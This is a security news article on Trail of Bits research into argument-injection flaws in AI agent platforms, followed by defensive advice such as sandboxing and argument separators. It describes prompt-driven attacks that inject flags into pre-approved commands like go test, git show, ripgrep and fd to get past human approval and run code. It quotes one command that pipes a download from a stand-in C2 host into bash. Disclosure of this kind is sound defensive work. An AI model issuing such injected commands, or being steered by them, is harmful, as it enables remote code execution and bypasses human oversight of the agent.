TLDR: A critical argument injection vulnerability has been discovered in several popular AI agent platforms, allowing attackers to bypass human approval safeguards and execute arbitrary code. This flaw exploits the agents’ reliance on pre-approved system commands, where user inputs can be manipulated to inject malicious arguments, leading to remote code execution.
A significant security flaw, termed an “argument injection vulnerability,” has been identified in at least three widely-used AI agent platforms. This vulnerability enables malicious actors to circumvent existing human approval mechanisms and achieve remote code execution (RCE) by crafting seemingly harmless prompts. The discovery, attributed to security researchers at Trail of Bits, highlights a fundamental design weakness prevalent in current agentic AI systems.
AI agents frequently leverage native system tools such as `find`, `grep`, `git`, and `go test` to perform essential tasks like file system operations and version control. While this approach enhances performance, reliability, and development speed, it introduces an attack surface. The vulnerability arises when user-provided inputs are used to influence the arguments passed to these pre-approved commands. Although systems typically validate commands against allowlists, they often fail to adequately scrutinize or sanitize the argument flags, making comprehensive blocking impractical due to the vast parameter spaces of various utilities. This issue aligns with CWE-88, which describes argument injection.
In one instance involving a command-line interface (CLI) driven agent, attackers crafted a prompt to execute `go test -exec ‘bash -c “curl c2-server.evil.com?unittest= | bash; echo success”‘`. This leveraged the `-exec` flag to introduce unauthorized `curl` and `bash` commands, ultimately leading to RCE without explicit approval.
Another attack involved bypassing regular expression filters using a hexadecimal-encoded payload with `git show` to create a file. Subsequently, the `ripgrep` tool’s `–pre` flag was exploited to execute this newly created file. Trail of Bits noted that these attacks were orchestrated by guiding the AI model through JSON-formatted prompts to utilize its tools maliciously.
A third system exhibited a “facade pattern” vulnerability where malicious flags, such as `-x=python3`, were appended to an `fd` command. This allowed the execution of a pre-created Python payload via `os.system`, leading to arbitrary actions. These “one-shot” attacks, which can be embedded within code comments or repositories, draw inspiration from “living off the land” techniques documented in projects like GTFOBins and LOLBAS.
Prior disclosures, including Johann Rehberger’s August 2025 reports on Amazon Q command injection and CVEs like CVE-2025-54795 in Claude Code, underscore the recurring nature of these risks in AI systems.
Researchers strongly advocate for sandboxing as the primary defense mechanism. This involves using containers, WebAssembly, or operating system-level isolation tools like macOS’s Seatbelt to restrict the AI agent’s access and capabilities. For facade pattern vulnerabilities, it is crucial to always insert argument separators (e.g., `–`) before user inputs and to disable shell execution using methods such as `subprocess.run(shell=False)`.
Beyond sandboxing, developers are advised to implement robust logging, streamline allowlists, and reintroduce human review for suspicious command chains. Users, in turn, must limit access permissions and utilize containers for untrusted inputs. Security engineers should proactively map tools via prompts or documentation, employ fuzz testing for flags, and cross-reference with vulnerability databases.
Also Read:
- Operant AI Uncovers ‘Shadow Escape’ Vulnerability, Revealing Covert Data Leaks in Major AI Platforms
- Security Flaw in Oat++ MCP Implementation Exposes AI Agents to Session Hijacking
The coordinated disclosure of these vulnerabilities emphasizes the growing need for a security-first approach as agentic AI systems become more widespread. The findings highlight that while AI agents offer significant advancements, they also introduce novel attack surfaces and remain susceptible to both emerging and classic security threats.
